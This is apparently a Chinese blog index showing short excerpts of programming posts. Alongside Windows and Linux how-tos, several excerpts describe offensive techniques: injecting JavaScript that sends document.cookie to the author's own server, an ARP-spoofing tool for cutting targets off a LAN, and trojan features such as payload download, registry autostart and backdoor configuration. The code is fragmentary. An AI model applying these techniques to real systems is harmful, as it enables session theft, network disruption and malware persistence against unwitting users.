- 博客(16)
- 收藏
- 关注
原创 VC6编程弹出UAC窗口
其实,给应用程序的嵌入一段特殊的资源,就可以要求以管理员身份运行,当当前用户不是管理员时,会要求输入管理员密码。 打开你的VC6工程,找到“资源视图”,然后在视图中的树的根结点上点鼠标右键,选择菜单“插入”。 在弹出的“插入资源”对话框中选择“Custom”,在新对话框(“New Custom Resource”)输入框中输入24。因为manifest的类型是24,点击“OK
2016-01-27 17:24:05 585
原创 Linux下搭建mutt+msmtp发送邮件
1.自动安装 apt-get install mutt apt-get install msmtp vi /root/.msmtp.log //配置msmtp的日志文件 root@newbie:~# mkdir -p/usr/local/msmtp/etc root@newbie:~# vi/root/.msmtprc //配置msmtp的配置文件 defaults
2015-12-26 14:50:03 522
原创 Php提交包含特殊字符的参数的方法
在渗透的过程中,可以在网页中插入JS代码来获取cookie :document.cookie 那么获取到的cookie如何传到我们自己的服务器呢? 在这里,我使用的是AJAX技术。但是Ajax有一个跨域的问题,所以需要再http头部再进行设置。这里主要讲cookie的提交。 先看一段JS代码: xmlhttp.open("GET","http://192.168.17.
2015-12-26 14:41:02 777
原创 Linux下LAMPP使用root权限调用shell
PHP调用的shell指令时可能需要root权限,那么可以在脚本的语句前加上sudo。但是普通用户使用sudo时需要一个终端来输入密码,而PHP调用时则不会弹出这个终端。解决的方法是富裕Apache的执行用户root权限。 查看Apache目录下的httpd.conf 可以查看当前使用Apache的用户名,该文件有如下一段配置项: 这里的 daemon就是执行用户。
2015-12-26 14:38:34 311
原创 真机安装kali Linux
Screenshotsaved as /var//log/partman_active_partition_0.png 1.使用大白菜启动工具打开kali2.0-amd64.iso 2.选择Graphical install 3.如果遇到找不到CD-Rom问题: 解决方法:进入 Shell: df -m 发现U盘 /dev/sdc1 被挂载到了/med
2015-12-26 14:14:22 824
原创 真机安装kali
Screenshotsaved as /var//log/partman_active_partition_0.png 1.使用大白菜启动工具打开kali2.0-amd64.iso 2.选择Graphical install 3.如果遇到找不到CD-Rom问题: 解决方法:进入 Shell: df -m 发现U盘 /dev/sdc1 被挂载到了/med
2015-12-26 14:12:07 285
原创 VS2008下缺失mfc90u.dll的解决办法
将VC6.0的Dll移植到VS2008时,写了一个Test.exe程序加载Dll,LoadLibrary时出现“找不到mfc90u.dll”的提示。由于是新安装的VS2008,所以在安装目录“C:\Program Files (x86)\Microsoft VisualStudio 9.0\VC\redist\amd64”下是找得到这些Dll的,且版本为'9.0.21022.8'。查了一下,有
2015-08-04 15:17:40 1900
原创 VC6编译64位程序
一.Windows Server 2003 R2 Platform SDK 对于VC6头文件、库缺失的问题,安装 Windows Server 2003 R2 Platform SDK可以解决。 安装完成后,可以使用 "msdev /useenv "命令来打开VC6,。会发现include目录对了一个包含目录: 这样一般就比较完整了,如果还是缺失,则手动添加吧
2015-08-04 15:14:08 1678 1
原创 stirng、wstring,char和wchar之间的转换
一.ANSI和UNICODE 2.ANSI字符和Unicode字符 ANSI字符类型为CHAR,指向字符串的指针PSTR(LPSTR),指向一个常数字符串的指针PCSTR(LPCSTR); 对应的Windows定义的Unicode字符类型为WCHAR(typedef WCHAR wchar_t) ,指向Unicode字符串的指针PWSTR ,指向一个常数Unicode字符
2015-07-14 16:07:12 103
原创 stirng、wstring,char和wchar之间的转换
一.ANSI和UNICODE 1.ANSI字符和Unicode字符 ANSI字符类型为CHAR,指向字符串的指针PSTR(LPSTR),指向一个常数字符串的指针PCSTR(LPCSTR); 对应的Windows定义的Unicode字符类型为WCHAR(typedef WCHAR wchar_t) ,指向Unicode字符串的指针PWSTR ,指向一个常数Unicod
2015-07-14 16:07:09 325
原创 局域网ARP断网攻击
本程序利用向局域网中的目标地址发送伪造的ARP数据包,目的是使目标主机上的ARP缓存中的网关IP对应的mac地址变为本机的mac地址,这样一来,在链路层的通信中,目标主机发给网关的数据就会发送给本机,也就不能上网了。 首先构造ARP数据包以及以太网首部: //以太网首部 typedef struct ethdr { unsigned char eh_dst[6]; //目的MAC地址
2015-06-16 17:27:16 287
原创 使用http下载文件
在我们的木马程序中,通常会使用到下载文件的功能,因为我们需要向目标电脑上传文件、更新木马程序等等。这里,我们介绍一种简单的http下载:使用API函数URLDownloadToFile()。在调用之前要引入相应的头文件: #include #pragma comment(lib,"urlmon.lib") 程序中我们先判断要下载的文件是否存在于目标位置,如果存在则删除文件后再下载。若不存在
2015-06-05 16:05:53 381
原创 注册表实现windows系统的关机、注销和重启
这里我们主要讲的是Windows2000以上的操作。因为在Windows2000以上的操作系统,ExitWindowsEx等函数需要有一定的权限才能运行。所以在调用ExitWindowsEx函数前要获得较高的系统权限。 那么如何才能提高系统权限呢?我们需要用到3个函数:OpenProcessToken、LookupPrivilegeValue、AdjustTokenPrivileges
2015-06-05 15:14:10 1084
原创 注册表操作之自启动
注册表是Windows系统的核心配置文件。一般我们安装木马时会向注册表中写入一些关于自身程序的有关信息。例如我的木马中就是讲IP地址、端口等信息写入注册表中。这里我们通过修改注册表来实现木马的自启动。 下面给出两个设置注册表键值的函数,以后会经常用到: //修改字符串类型键值 BOOL CreateStringRegW(HKEY hRoot,WCHAR *szSubKey
2015-06-05 14:46:12 474
原创 文件操作之木马后门的配置
如今大部分的木马后门都需要提供配置功能,比如设置反向连接的ip,端口等等。实现这种配置功能的一种方法,就是想文件末尾写入数据,然后程序运行时就会读取这些数据。下面的小程序就实现了向文件末尾写入数据。
2015-06-05 10:28:57 400
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人